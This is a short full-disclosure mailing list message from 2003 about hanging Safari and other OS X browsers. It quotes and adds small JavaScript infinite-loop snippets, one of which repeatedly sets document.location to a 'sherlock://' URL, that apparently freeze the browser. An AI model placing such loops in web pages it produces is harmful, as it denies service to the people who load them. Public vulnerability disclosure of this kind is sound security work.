full-disclosure - safari dos

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Message-ID: <9CEE16DA-1D67-11D8-828A-000393754328@veedev.de>
From: chorchert at veedev.de (Christian Horchert)
Subject: safari dos

Am 23.11.2003 um 03:10 schrieb kang@...ecure.ws:
>> Am 22.11.2003 um 01:58 schrieb kang@...ecure.ws:
>>> A very simple javascript block like this one:
>>>
>>> while (true)
>>> { document.location "sherlock://com.apple.movies?" }
>>
>>
>> or just shorter while(1){}

> Ahaha, I'm not sure that it makes a very significant change :)
> probably even just "sherlock://" works
> and probably some other loops are vulnerable, but it's the same kind

and how is about while(1){document.write('yes')?
bugs camino, mozilla and explorer, at least on osx ;P

i like the different behaviours of each.

   Christian